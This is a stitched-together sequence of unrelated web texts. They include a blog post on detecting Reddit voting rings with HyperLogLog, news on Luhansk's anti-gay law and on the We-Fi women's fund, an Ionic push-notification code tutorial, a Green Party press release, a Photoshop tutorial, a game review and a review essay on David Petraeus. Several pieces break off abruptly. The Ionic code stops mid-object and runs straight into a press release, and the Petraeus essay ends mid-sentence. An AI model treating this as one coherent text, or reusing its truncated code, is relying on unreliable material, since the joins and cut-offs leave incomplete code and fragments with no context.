With the HyperLogLog counter its all different. The size of the data structure is determined a priori (thus O(1)) and is a miniscule fraction of whatever data structure you would use from in the example of the previous paragraph. Data insertion and count tallying are super fast and also scales as O(1). But heres the catch, you cant actually know the exact count of unique views. Rather, you may only have an estimate of the current count. I encourage you to read more. This article has been the best resource Ive found. And make sure you try their cool JavaScript demo which really helps to understand how it all works.
But how can the HyperLogLog counter help beat voting rings??
Lets turn back to the sad example of disgraced colleague Doug Turnbull. Usually when Doug coerces others to upvote his posts he uses forms of extortion or even threats of physical harm. Naturally Ive never succumbed to this, but those that do go to Dougs most recent post (many of which can be found here) and upvote.
But consider what would happen if we created a HyperLogLog counter for every user on Reddit, and any time that a user receives an upvote, we update the corresponding HyperLogLog counter with the id of the user who did the upvoting. Given this setup, heres how we detect the voting ring. First, for a given user, retrieve the estimated count of unique upvotes from that users HyperLogLog counter and lets label this quantity as estimated_unique_upvotes. Next, tally up the total number of actual upvotes…
(these things)
across all of that users posts. Lets call this quantity as global_total_upvotes. The probability that a given user is involved in a voting ring will correlate highly with the ratio of these numbers. In other words we can define
voting_honesty = estimated_unique_upvotes / global_total_upvotes
Think about it. If a user is not in a voting ring, then their upvotes are going to be organically generated from anyone one the world-wide-web that thinks their links are interesting. Because the internet is a big place, this users estimated_unique_upvotes and global_total_upvotes will tend toward the same number and their voting_honesty “probability” will tend toward 1. On the other hand, a user wrapped up in seedy underworld of Reddit voting rings will have many more global_total_upvotes across all posts than they have estimated_unique_upvotes. For this user, the voting_honesty will tend toward 0.
Conclusion
Now were talking 1s and 0s. Arent computers supposed to be good with those? Yes! So the method Ive outlined above should be a scalable way to automatically detect and expel those voting charlatans! Are there issues with this strategy? Sure. But I do think that the estimated_unique_upvotes to global_total_upvotes ratio is interesting. Help me think; where could this be used outside of Reddit voting rings?
So what now? Well its obvious, right? Upvote this article!
Hey, I got another idea! I wonder what reddits infrastructure looks like? Its gotta be hell to scale everything up. The most obviously complex thing is tracking all those up and down votes. Furthermore, the most important function of the infrastructure is in making sure that no one votes for a post more than once – otherwise colleague, Doug Turnbull, would cramp to death setting at the computer and click-upvoting his own posts! Since its so hard to scale, why not just rip all that stuff out and replace it with HLL approximations instead.
Heres how: Each post gets 2 HLL counters, one positive votes and one negative. When a user upvotes or downvotes a post, their id is submitted to the corresponding HLL counter. There is never a chance that a vote can be counted twice, and theres no need for any of the infrastructure that ensures that no one votes twice.
But there are a couple of obvious drawbacks to this approach. One – the vote is now just an estimate – a guess, and while one average this would work out fine, there would certainly be crappy posts getting promoted and great posts getting penalized. Secondly, a side effect of all this click tracking infrastructure is that you lose the ability to trace your own history! And if you again built infrastructure so that you could see your history, you might as well return back to the way Reddit currently does it. But at the very least this idea is worth remembering when building and scaling a website that has, but doesnt feature, votes.
Check out my LinkedIn Follow me on TwitterKIEV, Ukraine — In the breakaway region that calls itself the Luhansk People’s Republic, in what used to be a Ukrainian government administration building, the place where rebels get together to exchange their most radical ideas is the smoking room. In the dense atmosphere of tobacco and conspiracy, one hot topic has been the death penalty. The council reinstated capital punishment earlier this year. But even such basic questions as what sort of political power should be established have not been resolved. Should Luhansk aim to be a Western democracy? A Communist republic? A monarchy?
Failing to decide such key questions, the council opted for a law everyone in the smoking room seemed to agree on: punishment of homosexuals. They voted to imprison people convicted of being gay for two years and six months. And they voted the death penalty, no question about that, for the rape of a minor whether of the same or opposite sex. The law did not stipulate execution for homosexuals, as some media reported. But the question of how it will be interpreted, like so much else in Luhansk, remains an open question.
One would think they had more vital issues to deal with. Part of the territory of Luhansk is still occupied by Ukrainian nationalist forces, and fighting continues despite an agree ceasefire. The violence has taken the lives of more than 3,000 civilians. The war has devastated several parts of the city. For weeks, the residents lived in basements under shelling, bringing water to their homes on bicycles during the breaks between explosions. Banks stopped working. To shop for food at newly opened so-called people’s stores or other grocery shops still selling food products, people often had to cross the town. Morgues were filled with hundreds of dead.
But the debate went on about gays, with opinion diverging only on the question of what kind of punishment should be given. Alexander Klodchenko, responsible for international relations, told me over the phone he did not agree with the execution part: “The perverts should be treated at psychiatric hospitals,” Klodchenko said.
In fact, the perverse logic of the Luhansk lawmakers is a reflection of their close ties to Moscow and their hunger for old-time religion, old-time politics, old-time strongmen. Klodchenko says he figures that, after the war ends, Luhansk will be a liberal and democratic republic but, personally, he favors a monarchy. "Luhansk needs a strong Tsar,” he said, suggesting that the separatist region’s elections on November 2 may help point the way. (The rest of Ukraine is voting for a new parliament in Kiev on Sunday)
Without reservation, Klodchenko said it is important that Moscow control the separatist parliament: “See, most of my colleagues at the Parliament don’t have any education, so without the Russian Duma’s help, without their instruction and financial aid, we would be nothing,” Klodchenko said. This week, the deputy took a “consulting course” with the Russian state parliament’s parties.
We all know how much the Russian parliament under Russian President Vladimir Putin has done to make LGBT people feel uncomfortable, unwanted and unsafe. But the so-called parliament of the self-declared Luhansk republic decided to go one better. Their anti-gay law was passed with a show of hands on September 26, and anyone who failed to take it seriously would do so at his or her own risk. When the law actually will go into effect is unclear, but the rebels are not shy about demonstrating their strict rules and meting out public punishment. Commanders of the Luhansk Cossacks recently flogged militia soldiers for cursing and drinking, then posted a video of the beatings. The Luhansk anti-gay law discussed by the Luhansk parliament was intended to “defend moral, cultural and religious values,” local reports said. Back in the smoking room, deputies discussed what to name their new legislation, Klodchenko told me on the phone. “The law defends the Christian traditions of Luhansk’s people from harmful influence by enemy states, such as the European Union, Canada and the USA,” he suggested. What about the death penalty? “When the war is over, we’ll most likely cancel the death penalty, “ Klodchenko said.
But when the war really will be over is anyone’s guess.While President Trump lays out a foreign policy agenda based on nationalism and "America First" principles, his daughter Ivanka has taken a different worldview.
Three months ago Ivanka Trump stood next to her father and other world leaders at the G20, announcing a plan to bring $1 billion to help women entrepreneurs in emerging markets. The media and the development world scorned, calling it a naked bid for good press and an attempt by world leaders, especially those in Saudi Arabia, to curry favor with the American president through his daughter's pet project.
The World Bank quickly downplayed Ivanka's role, and it's unclear how involved she remains. After Ivanka met with Arab women entrepreneurs, money from Saudi Arabia and the United Arab Emirates seeded the initiative. But the Women Entrepreneurs Finance Initiative — or We-Fi, as it's called — has spread, with about a dozen other countries, donating a total of $325 million to the financing facility that launched on October 12 to provide funding to women-owned enterprises.
But now We-Fi is emerging as an innovative attempt to spur private investment in women's enterprises in countries around the world. There are already signs that insurance companies, venture capitalists and private equity funds are looking more seriously at investing and designing products with an emphasis on including women. The new managing partner at the Abraaj Group's $1.6 billion impact investment arm, Kito de Boer, for instance, said it is considering launching a fund focused on diversity.
Ivanka's goals seem to contradict President Trump's. In March he said he wants to cut off the spigot that has helped fund many micro ventures around the world: a little-noticed federal agency called OPIC that is a backstop lender for community banks in developing countries.
"This World Bank fund is very important because it cuts through the politics and diplomacy," said Sofana Dahlan, a Saudi lawyer, entrepreneur and government official who met with Ivanka in Saudi Arabia. "A lot of countries do refrain from helping Saudi women, because they don't want to be politically incorrect."
Ivanka, Dahlan said, may have seized a rare moment when the Saudi government was open to change. "Saudi Arabia welcomed the idea. It's very important to act on it right away."
We-Fi — which appears to have rapidly folded in some ideas that the World Bank has been studying and experimenting with for the past five years — is different from other financing initiatives for women.
While most programs for women have focused on grants and low-interest loans, We-Fi is making the money available for equity investments — meaning venture capital and private equity funds will be able to tap into it — and insurance products. That may give big insurers an incentive to develop products for women in emerging markets.Push Notifications in Ionic
Updated to Ionic 3
Ankush Aggarwal Blocked Unblock Follow Following Jul 16, 2016
Push Notifications allow app developers to notify users at any time, users don’t have to be in the app or using their devices to receive them. With the help of some good tutorials, push notifications can be implemented very easy in Ionic which supports both iOS and Android.
Android uses FCM(Firebase Cloud Messaging (FCM) earlier known as GCM) and iOS uses APNS for push notification.
Full Client and Server code is available on Github
Push Notification flow
Setting up Ionic App to generate device token
For Android, follow FCM setup instructions. It will give you SERVER_KEY and SENDER_ID. SERVER_KEY is used by server to send push notification and SENDER_ID is used by device to generate device token. For iOS, nothing required to generate device token.
Replace YOUR_SENDER_ID in config.xml with above SENDER_ID
<plugin name="phonegap-plugin-push" spec="1.10.5">
<variable name="SENDER_ID" value="YOUR_SENDER_ID"/>
</plugin>
Add device token generation code in your main app constructor like below and replace YOUR_SENDER_ID in Push options with above SENDER_ID
View it on Github
import { Component, ViewChild } from '@angular/core';
import { AlertController, Nav, Platform } from 'ionic-angular';
import { StatusBar } from '@ionic-native/status-bar';
import { SplashScreen } from '@ionic-native/splash-screen';
import { Push, PushObject, PushOptions } from '@ionic-native/push';
import { TabsPage } from '../pages/tabs/tabs';
import { DetailsPage } from '../pages/details/details';
@Component({
template: '<ion-nav [root]="rootPage"></ion-nav>'
})
export class IonicPushApp {
@ViewChild(Nav) nav: Nav;
rootPage: any;
constructor(public platform: Platform,
public statusBar: StatusBar,
public splashScreen: SplashScreen,
public push: Push,
public alertCtrl: AlertController) {
this.rootPage = TabsPage;
platform.ready().then(() => {
// Okay, so the platform is ready and our plugins are available.
// Here you can do any higher level native things you might need.
this.statusBar.styleDefault();
this.splashScreen.hide();
this.initPushNotification();
});
}
initPushNotification() {
if (!this.platform.is('cordova')) {
console.warn('Push notifications not initialized. Cordova is not available - Run in physical device');
return;
}
const options: PushOptions = {
android: {
senderID: 'YOUR_SENDER_ID'
},
ios: {
alert: 'true',
badge: false,
sound: 'true'
},
windows: |
.
"Californians deserve more choice in elections, not less," says Michael Feinstein, former Mayor of Santa Monica and co-founder of the Green Party of California. "Top Two elections undermine democracy by limiting voters to only two general election choices, while driving up the cost of running for office and making ballot access more difficult.
For Immediate Release:
Wednesday November 16 2016
Press Advisory
Green Party of Los Angeles County
losangeles.cagreens.org
Contact:
Michael Feinstein mfeinstein@feinstein.org
Angelica Dueñas angelica.greenparty@gmail.com
Timeka Drew timekadrew@gmail.com
"Its time to end California's failed Top Two experiment," adds Angelica Dueñas, Green Party candidate for U.S. House of Representatives, District 29 in the Northeast San Fernando Valley. "Elections should empower our state's diverse population and communities. The restrictive Top Two's system does just the opposite."
"The reduction in choice from Top Two has led to historically low voter turnout," adds Timeka Drew, a Green and a democracy foundation executive director living in Leimert Park "When few voters participate, the legitimacy and representative nature of our democracy is diminished."
Top Two elections have been particularly bad for California's smaller ballot status parties like the Greens, Libertarians, Peace and Freedom, and American Independent Parties. Top Two has it made virtually impossible for their candidates to be on the general election ballot and substantially more difficult to qualify for the primary ballot. This has led to all-time lows in candidates from these parties under Top Two – from an average of 127 candidates combined for all four parties per primary election between 1992 and 2010 - to only 13 for all four parties in 2016 - another way in which Top Two reduces voter choice http://www.sacbee.com/opinion/op-ed/soapbox/article81520547.html http://web.archive.org/web/20140718133241/http://www.sacbee.com/2014/05/06/6380742/viewpoints-top-two-primary-system.html.
The Initiative to Repeal The Top Two Candidates Open Primary Law was submitted to the Office of the Attorney General on August 10, 2017 for official Title and Summary. Organized efforts are now underway to gather the needed 365,880 signatures to place it on the November 2018.
At the November 11-12 GPCA state meeting in Ventura, Stop Two representatives led a workshop on the initiative and handed out petitions. The Green Party of Los Angeles County encourages its members to get involved in the signature-gathering effort at www.stoptop2.com and by contacting Jeanne Llewellyn and Victoria Davidson and Eileen Clary.
The GPCA originally opposed Proposition 14 in June 2010 – the Top Two ballot measure – and notes that Top Two's negative impact upon the state's smaller ballot status parties was not part of the Official Title and Summary presented to voters, and not something voters were asked to consider when voting upon it. The GPCA has continued to oppose Top Two since, and calls for its repeal and replacement by a system of multi-seat districts with proportional representation for the California state legislature, and ranked choice voting for single-seat executive office.
The GPLAC County Council endorsed the Initiative to Real The Top Two Candidates Open Primary Law on September 10th and the GPCA state Coordinating Commitee endorsed it on September 11th.
For more on the Green Party's position opposing Top Two
www.cagreens.org/action/stop-top-two
For more on the Green Party's electoral reform alternatives to Top Two
www.cagreens.org/platform/electoral-reform
www.cagreens.org/platform/proportional-representation
- 30 -A large-scale piece of crop art intended to send a powerful message on the migrant crisis has been ploughed over on a field near Verona, Italy.
Impressive aerial footage of the land art which depicts a vessel with the word ‘Africa’ next to a vertical line reading 'Stop, EU' was captured Saturday in Castagnaro.
The artwork also includes the phrase 'Ius Soli No' beneath the vessel – a reference to the proposed nationality law which would grant Italian citizenship to second generation immigrants born in the country.
Currently, the children of immigrants must wait until they are 18 to apply for Italian citizenship. This new law would grant citizenship to foreign babies born on Italian soil and to children who have spent at least five years in the Italian school system.
Created by land-artist Dario Gambarin, the work was made by free-rotating with a tractor, plow, and harrow.
Gambarin told L’Arena that his intention with the art piece is to reiterate his view that a common and shared solution to the migrant crisis must be found by Europe as a whole.
"The problem of migrants in the sub-Saharan Africa touches on the whole of Europe and it is not only Italy that is seeking structured solutions,” he said.
“I think it is right that these people are helped and accepted, but it is necessary to punish human traffickers.”
Gambarin is well known for his politically based crop art, hitting headlines earlier this month for his giant portrait of Vladimir Putin ahead of the G20 summit.
The 135-meter depiction of the Russian president was created in the hope that the upcoming G20 summit would be successful, Gambarin said.
Other famous political figures to have their faces etched in cornfields by the artist include Donald Trump, Hillary Clinton, Barack Obama, and Nelson Mandela.The move comes after the Government’s initial drive to make those on long-term sickness benefits get back into paid jobs – after being deemed fit for work – failed to push enough claimants through the new Work Programme, partly because the long-term jobless were classed as “sicker than expected”.
The man behind the Government’s back-to-work scheme told The Sunday Telegraph he would redesign the scheme so that those deemed originally too ill to join it would be made to do so.
The move, which could affect tens of thousands of benefits claimants, has already raised concerns among health experts and unions, who warn that forcing long-term claimants with a history of illness to prepare for work too early could harm their recovery.
However, the minister said Work Programme contractors were crying out for more “hard-to-help” benefits claimants, arguing that they are capable of helping more people with complex issues back to work quicker.
Official figures in May showed only 40,000 people on so-called Employment and Support Allowance (ESA) were pushed towards the Work Programme in its first six months. This is about 30,000 fewer than expected.From left, John Garrido and John Arena. View Full Caption Twitter/JGarridoIII; John Arena
CHICAGO — Although Ald. John Arena (45th) has been in office for more than two years, a dispute over the 2011 election is far from over.
A state appeals court panel last week revived a defamation lawsuit filed by Arena's 2011 opponent, Chicago police Lt. John Garrido. The suit also names four other groups. Garrido lost to Arena by 30 votes in a runoff.
In seven mailings and one television advertisement, Arena and three unions that supported him claimed Garrido took money from a firm involved in the much-maligned 2009 parking meter privatization deal and would collect two municipal pensions if elected.
Garrido's lawsuit, filed 10 days after the final votes were counted, claimed those "outright lies" damaged his reputation and hurt his career with the police department and as a lawyer.
However, Garrido's suit was dismissed by Cook County Associate Judge Michael R. Panter under the 2007 Citizen Participation Act, which was designed to prevent people from being sued for what they say during the political process while exercising their First Amendment right to free speech.
That ruling was reversed by a three-judge panel of the First District Appellate Court, citing a January decision by the Illinois Supreme Court that held that the law prevented only "meritless or retaliatory" suits aimed at stopping people from speaking out from moving forward.
Garrido's claims of defamation are not meritless because "the record provides no support for defendants’ contention that the statements about the parking-meter deal are actually true," Justice Maureen E. Connors wrote in the 17-page opinion for the three-judge panel.
Garrido received two $500 contributions from Juan Gaytan, the owner of Monterrey Security, which was hired as a subcontractor to the company responsible for the reviled parking-meter deal.
"There is no evidence that plaintiff received campaign contributions from either LAZ Parking, which is the company responsible for the privatization deal, nor any evidence that he personally profited from the deal," Connors wrote.
In addition, Connors wrote the ads' statements about Garrido's pensions were also not true.
"While plaintiff could theoretically receive both an aldermanic pension as well as his police pension at some point in the future, he would not even be eligible for an aldermanic pension until he had served as alderman for 10 years, an event that is not only speculative but that would be contingent on plaintiff winning at least two additional four-year terms as alderman," Connors wrote. "This is a far cry from the mailers’ assertion."
The appeals court ruling was not a surprise, based on the Supreme Court ruling, said David T. Arena, an attorney with the Park Ridge-based law firm of DiMonte & Lizak LLC, who is representing the alderman, his brother.
There are no plans to ask the Illinois Supreme Court to review the appeals court decision, David Arena said.
Michelle M. Truesdale, an attorney with the Chicago-based law firm of Lawrence Wolf Levin, said Garrido was pleased with the decision.
If the lawsuit's dismissal on the basis of the Citizen Participation Act had been upheld, Garrido would have been liable for a portion of the defendants' legal fees, which were estimated at $160,000, Truesdale said.
The trial court judge must now weigh the defendants' other arguments in their effort to have the lawsuit dismissed.
David Arena said he planned to argue that Garrido must prove that John Arena and the other defendants knew the claims about Garrido's pensions and his involvement parking meter-deal were false, or should have know they were false, and made them anyway. In addition, Garrido should be required to show he suffered monetary damages, David Arena added.
Because the advertisements were based on reports from two news organizations, John Arena believed them to be true, David Arena said.
No date has been set for the lawsuit, which also names are Citizens to Elect John Arena, the Chicago Federation of Labor, the Service Employees International Union and Unite Here Local 1, to return to court.
The revived lawsuit may become an issue in the 2015 aldermanic election.
Garrido said he has not decided whether to challenge Arena. However, his campaign website is still online, and features a letter from the former candidate that thanks his supporters for their hard work and concludes: "Who knows, maybe even a rematch in four years."Final Image: Resources: Palace Waterfalls Lake Trees Before we start off, lets talk about the outline of the procedure, how we are going to work out the scene : We add all the elements we needed into the scene, place them in their respective positions and mask out unwanted areas of the elements and finally we will work on color and lighting.
Step-1 : Put all scene elements together.
Open a new document with 1300X900 px size.
Import background image into the scene.
Import lake image and mask out the edges.
In order to mask the image, select the lake image layer, at the bottom of the “layers” palette click on the “Add vector mask” button and using soft brush with black color on, brush/mask the unwanted areas.
Import water falls.
Mask.
Import Palace image.
Mask.
Lets add some trees.
Step-2 : Color correction.
Lets start with the first layer with which we started off.
Select the image layer.
Add “Hue/Saturation” adjustment layer with following properties.
Color correction to water falls image.
Add “Color Balance” adjustment layer with following properties.
In the above scene the water color changed to green. To make it white, lets add one adjustment layer “Hue/Saturation” and set “saturation” value to -100.
Now, mask the complete image (fill the layer mask with black color)
In the layer mask, using soft brush with white color on, unmask only the water to get the result like this…
Add some warm color to the palace.
Add “Color Balance” adjustment layer with following properties.
Step-3: Lighting
Add “Brightness/Contrast” adjustment layer at the top with following properties.
In the layer mask, using soft brush with black color on, unmask some parts of the scene where you want light rays to hit.
To improve the brightness and contrast of the scene, lets add one more adjustment layer “Levels” with following properties.
Lets add some light rays to the scene.
Soft brush, white color, opacity 15% – add rays to the scene in a new layer(this layer should be above the palace image layer).
Similarly, add some fog at the back of the palace in a new layer (this layer should be below the palace image layer).
Lets darken the shadows of the palace.
Create a new layer above the palace layer, using soft brush with black color and opacity 15% add shadows like this…
Add some birds using a white color soft brush with opacity 100%.
Finally…..
At last create a new adjustment layer “Photo Filter” at the top with following properties.
This is the final Image:
Hope you find this tutorial useful.Your favorite Cartoon Network characters get together and have some fun!
Quick Game Review (QGR) is a new segment where we take advantage of our newly acquired GameFly account, and play some older games we know are either going to be bad, or not good enough for us to actually spend money on. The review will be quick, short and straight to the point. Who knows, we might actually find gold through this method.
Original release date: November 15th, 2011.
The game is okay. It’s clearly a Super Smash Bros. rip-off, but I just have a soft spot for crossover games. It’s always fun seeing your favorite characters from different franchises fighting each others, and this game does that just fine.
The array of characters to choose from is great, and I can’t help it but wanting more. However, despite all the characters to choose from, they don’t have enough unique movesets. Like Smash Bros, the “up” signature move is always a recovery move, but unlike Smash, this game’s recovery move is always characters jumping really high. In Smash Bros, the recover move can be Zero Suit’s whip, Ivysaur’s Vine Whip, or even Ness’ PK Thunder. The recovery move shouldn’t always be a jumping really high, and it should be different depending on which character is using it.
Like I said before, I feel like the game should have more original Cartoon Network character. Maybe Cow and Chicken, Ed,Edd n Eddy, or Courage the Cowardly Dog. Cartoon Network has such a rich history of original TV programs, it really is a shame that the game only focus on a few franchises. If memory is a problem, then maybe the game shouldn’t have too many characters from the same show. This also leads to the limited movesets mentioned above. The game features all three Power Puff Girls, and they’re practically the same next to each others, but only one different signature move. So instead of giving me more repeat characters, the game should actually give us different characters.
The single player mode is kind of boring too. It tries to justify a reason why these characters gather together, but sometime you just don’t need it. The best part of Super Smash is not the Subspace Emissary, but the great gameplay values and fighters with unique movesets. Overall, the game is still fun for fans of crossover fighting game, and the Cartoon Network franchise. It’s just so much disappointment, and I really hope the game can do better than this.
7/10
Up next: Zoo Tycoon.
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PocketBy Jared Clinton (@JPDClinton)
The Los Angeles Kings announced they’ve signed 2012 seventh-round pick Nick Ebert to a three-year entry level contract.
Ebert, 20, spent last season split between the Ontario Hockey League’s Windsor Spitfires and Guelph Storm. With the Spitfires, where Ebert played most of his junior hockey, Ebert was a steady contributor, but he made his impact felt as a member of the Memorial Cup finalist Storm.
In 2010-11, Ebert was named to the OHL’s First All-Rookie Team, and got the nod to play in the Top Prospects Game in 2011-12.
In 38 games with the Storm in 2013-14, Ebert registered nine goals and 24 assists, and had a tremendous playoff, notching 16 points in 20 games. During the Memorial Cup tournament, Ebert added another five assists in four outings.
At 6’0″, 200-plus pounds, Ebert’s size and mobility make him a valuable asset, and he could turn into a late-round steal for the Kings down the line.
With four ECHL games with the Ontario Reign under his belt, Ebert has already seen the professional game, but it will be a while before he makes the jump the NHL. Expectations for Ebert are that he’ll line up with the Manchester Monarchs in 2014-15.MPs have railed against proposed changes to the census that would mean people no longer have to state their sex, deeming it “political correctness gone mad”.
The plans were mooted in a report by the Office for National Statistics, which called for gender questions to be removed from the form as they were “irrelevant, unacceptable and intrusive”.
The suggestion was aimed at reducing discrimination against transgender citizens, but could leave Britain without an accurate figure for the number of men and women living in the country.
Outspoken Tory backbencher and member of the Women and Equality Select Committee, Philip Davies said: "The world is going mad - political correctness is taking over the country. I despair."
While Labour MP Jess Phillips, told The Telegraph: "I think sex is important to monitor, eliminating it means we cannot see effects of certain things on women's lives.
"I'm more than happy for other categories to be included such as non binary options."
Stephanie Davies-Arai, a feminist activist, added: "Women's biological sex is being erased and that terrifies me. Once you stop gathering information, that skews everything for women."
An ONS spokesman said the report is an update on research "on potentially collecting information on gender identity as well data on sex."
In a statement, he added: "It does not contain proposed census questions and suggests further research is required.
"ONS has yet to formulate its recommendations for the 2021 Census. Once it has done so, the Government will bring forward a white paper which will include the census questions.”In the Roman conquest of Gaul, Julius Caesar led his legions into battle wearing a flowing red cape. The cape made him more likely to be killed but easier for his men to see; it served as a reminder of his fearlessness. John Bell Hood, one of the Confederacy’s most audacious commanders, had his left arm shattered at Gettysburg, and lost his right leg at Chickamauga; from then on, he rode into battle tied to his horse. Even in the Second World War, when senior officers had it easier than their predecessors, General Dwight Eisenhower was so consumed by the job that he smoked four packs of cigarettes and drank fifteen cups of coffee a day. Nowadays, most general officers, at least most American ones, do not see combat. They don’t fire their weapons, and they don’t get killed; for the most part, they don’t even smoke. In wars without front lines, American generals tend to stay inside fortified bases, where they plan missions and brief political leaders via secure video teleconferences. Their credentials are measured as much by their graduate degrees as by the medals on their dress uniforms. They are, for the most part, deeply conventional men, who rose to the top of the military hierarchy by following orders and suppressing subversive thoughts. In recent years, the most esteemed officer in America—the very model of the modern general—was David Petraeus, whose public image combined the theorizing of the new school with a patina of old-fashioned toughness and rectitude. Before a sex scandal forced him to step down as the director of the C.I.A., a few weeks ago, he was widely regarded by politicians and journalists as a brilliant thinker and leader, the man who saved America in Iraq and might work a similar miracle in Afghanistan. Roger Ailes suggested, perhaps less than half in jest, that Petraeus run for President. Now many of the same people are calling into question not just his ethics but his basic ideas and achievements. History often forgives military leaders for small scandals, if they are successful enough. Eisenhower’s long-alleged affair with Kay Summersby has not much tarnished his reputation as an officer; even Hood, whose late campaigns were disastrous, is remembered as a paragon of bravery, if not of good planning. Will Petraeus be thought of, in time, as a hero guilty of no more than a distracting foible? Or as the general most responsible for two disastrous wars? In Iraq and Afghanistan, most of the criticism has centered on the political leaders—Bush, Cheney, and Rumsfeld—who ordered the invasions and grossly mismanaged the occupations that followed. Less criticism has focussed on the soldiers and the generals who led them. This is understandable: the military didn’t start these wars, and the relatively small number of Americans who fought in them—after a decade, less than one per cent of the population—bore the burden for the rest of the country. In all those “Support Our Troops” bumper stickers and campaign applause lines, it has not been difficult to discern a sense of collective guilt. But, by almost every measure, the American soldiers and marines who went into Iraq and Afghanistan were grossly unprepared for their missions, and the officers who led them were often negligent. In the months leading up to the invasion of Iraq, many American military units travelled to the National Training Center, a sprawling patch of California desert. There they took part in enormous mock tank battles against a phony enemy, called the Kraznovians, that was meant to stand in for the Iraqi Army but had in fact been modelled on the Soviet military in an imaginary invasion of Western Europe. When the real invasion got under way, in March, 2003, American soldiers came under attack from a hidden enemy that was wearing no uniform at all. There had been plenty of warnings that an anti-American insurgency might spring up, and none were heeded. The generals were unprepared. How the Army got to such a point is the subject of Thomas Ricks’s “The Generals,’’ a series of vivid biographical sketches of American commanders from the Second World War to Afghanistan. In Ricks’s view, their quality, with a few exceptions, has steadily declined. His poster boy for the terrible early period of the Iraq war is Lieutenant General Ricardo Sanchez, whom he accurately portrays as a decent man but an incompetent commander. Sanchez’s worst decision was signing off on harsh interrogations of Iraqi detainees—which, when the photographs leaked from Abu Ghraib, resulted in one of the war’s signal disasters. But his real sin was neglect. Stupefied as the insurgency spread around him, and paralyzed by Washington’s insistence that everything was under control (for months, Rumsfeld forbade American officers to use the word “insurgency”), Sanchez effectively delegated the strategy for the war to the lower-ranking generals beneath him. In the summer and fall of 2003, many of those generals turned their men loose on Iraq’s population, employing harsh measures to round up insurgents and compel civilians to hand them over. The central tactic was to sweep villages in the country’s Sunni heartland—the center of the insurgency—and haul in the military-age men. These young men, who were mostly of no intelligence value, were often taken to Abu Ghraib, where their anger ripened. I witnessed several such roundups, and could only conclude that whichever of these men did not support the uprising when the raids began would almost certainly support it by the time the raids were over. Faced with a small but significant insurgency, American commanders employed a strategy that insured that it would metastasize.
During the crucial first year of occupation, the one general who cut a conspicuously different path was Petraeus. After leading the Army’s 101st Airborne Division in the invasion, he settled his troops in the northern city of Mosul, and began to implement the counter-insurgency strategy that has become his signature. What distinguishes this method from other types of war-fighting is its focus: instead of concentrating on the enemy you want to kill, concentrate on the civilians you want to protect. At the time, this idea was considered exotic in the Army. But, two hundred and fifty miles removed from Baghdad, Petraeus could ignore his commanders’ edicts. He put former Baathists on the payroll and spent millions on things like irrigation projects and new police. “Money is ammunition,’’ he liked to say. Killing bad guys was relegated to a lower priority. Soldiers on patrol were not even permitted to fly American flags. Through much of 2003, while Iraq imploded, Mosul stayed relatively calm. In coming years, Petraeus’s Mosul experience became the American strategy for all of Iraq. The way it did so is the subject of Fred Kaplan’s forthcoming book “The Insurgents.” (The title is ironic: the insurgents in Kaplan’s compelling story are a dissident group within the Army.) In Kaplan’s telling, a small group of men, with Petraeus the most prominent, found one another and mounted an end run around the military bureaucracy, thereby saving Iraq, and probably the entire Middle East, from a war even more cataclysmic than the one we already had. A book about bureaucratic change would make for dry reading if it didn’t have a colorful main character, and Petraeus, wherever he goes, appears ready-made: he’s smiling, educated, super-fit, and very smart—and he likes to talk to reporters. In news stories, he emerged as unfailingly driven and precise. “All In,” the recent biography by Paula Broadwell, portrays him as “intense,” “smart,” “all energy”—a superhero in fatigues. As we now know, owing to the revelations about Petraeus’s extramarital affair with Broadwell, he is also a human being. But neither Broadwell’s book, which extolls Petraeus on practically every page, nor the recent attacks on his character offer much help in assessing what sort of general he actually was. The truth is Petraeus really was exceptional. In many ways, the biggest problem that the American military faced in Iraq was itself. When Petraeus and other officers tried to change the approach in Iraq, they hit a wall of entrenched resistance. After the war in Vietnam, American generals banished the idea of counter-insurgency, perhaps figuring that if they didn’t plan for such a war they wouldn’t have to fight one. Military academies were dominated by such notions as the “Powell doctrine,” which held that future wars should be fought with maximum force and brought to an end as quickly as possible. In Ricks’s telling, the American military, by the time of the attacks of September 11, 2001, was a sclerotic institution that rewarded mediocrity and punished innovative thinking. In recent years, eighty-four per cent of the Army’s majors have been promoted to lieutenant colonel—hardly a fine filter. Becoming a general was like gaining admission to an all-men’s golf club, where back-slapping conformity is prized above all else. When the invasion of Afghanistan and Iraq began, the top U.S. field commander was General Tommy Franks, a shortsighted tactician who didn’t bother to plan for the occupation of either country. Franks had the good sense to step down in the summer of 2003, just as Iraq began to come apart. Ricks argues, convincingly, that what changed in the military was the practice of firing commanders who failed to deliver results. His starting point is General George Marshall, the Army chief of staff during the Second World War, who culled underperforming generals and promoted the better ones, constructing a ruthlessly efficient fighting force. The practice withered during the Vietnam War, replaced with micromanagement by civilian leaders. (Recall photographs of Lyndon Johnson choosing bombing targets.) With even the most mediocre generals moving upward, the Army ossified at the top. Sanchez was not the exception; he was the rule. “Like the worst generals of the Vietnam era, he tended to descend into the weeds, where he was comfortable, ignoring the larger situation—which, after all, was his job,’’ Ricks writes. Yet Sanchez paid no price for his failures, Ricks notes: “The vocabulary of accountability had been lost.” In Iraq, the generals, and increasingly their troops, trapped themselves inside their bases, cut off from the country they were trying to occupy. When their strategy didn’t work, they tended to redouble their efforts—capture more insurgents, turn over more neighborhoods to the Iraqi Army—and justify their actions in the impenetrable jargon that modern officers use with one another. Iraqi insurgents became “A.I.F.” (anti-Iraqi forces), Al Qaeda in Iraq was “A.Q.I.,” and a car bomb was an “S.V.B.I.E.D.” (suicide vehicle-borne improvised explosive device). Petraeus revelled in the jargon—among junior officers, his PowerPoint presentations were spoken of in reverent tones—but, at least in his case, the fancy terms were suggestive of his knowledge, and not the end of it. My own snap test for measuring an American general’s perceptiveness was how he pronounced Iraqi names. In 2006, I heard General J. D. Thurman, the commander presiding over Baghdad, pronounce the name of the Iraqi Prime Minister three different ways in a single interview, all of them incorrect. General Thurman apparently wasn’t talking to Iraqis—or, if he was, he wasn’t listening. Petraeus was smarter and quicker than most of his colleagues. He wasn’t a rebel, at least on the surface. He loved the Army and relished its history, and the trappings and the medals, and, in talking to reporters, he was careful never to go too far. He didn’t have much combat experience, but that seemed to make it easier for him to see beyond the daily slog of killing insurgents. He had a Ph.D. from Princeton—dissertation title, “The American Military and the Lessons of Vietnam.” (This did not necessarily help his career, Kaplan writes: “He was aware of his reputation in certain circles as a schemer, a self-promoter, and, worst of all, an intellectual.”) He was preternaturally, pathologically competitive. Once, inside a building in Baghdad, Petraeus, then in his early fifties, challenged me to race him up the stairs. (He won.) Another time, he dared me to join him on a morning run in the Green Zone, accompanied by an armed guard. When the run was over, Petraeus initiated a pull-up contest, and did seventeen, 